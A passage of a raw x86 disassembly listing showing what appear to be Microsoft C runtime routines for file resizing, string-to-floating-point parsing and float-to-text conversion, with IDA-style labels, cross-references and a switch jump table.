sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DCC80, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DBC78 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DBC78 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DBC78 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DCC80 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DCDA0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DCCA0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB95C, 5 jnz short loc_424FDC mov dword_4DB958, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB958, 0Dh call near ptr 2680ABEh nop mov dword_4DB95C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB958, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43CBE8 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43CBE8 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43CBE8 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43CBE4, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43CBE8 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43CBE4, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43CBE4, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43CBE4, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43CBE4, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test 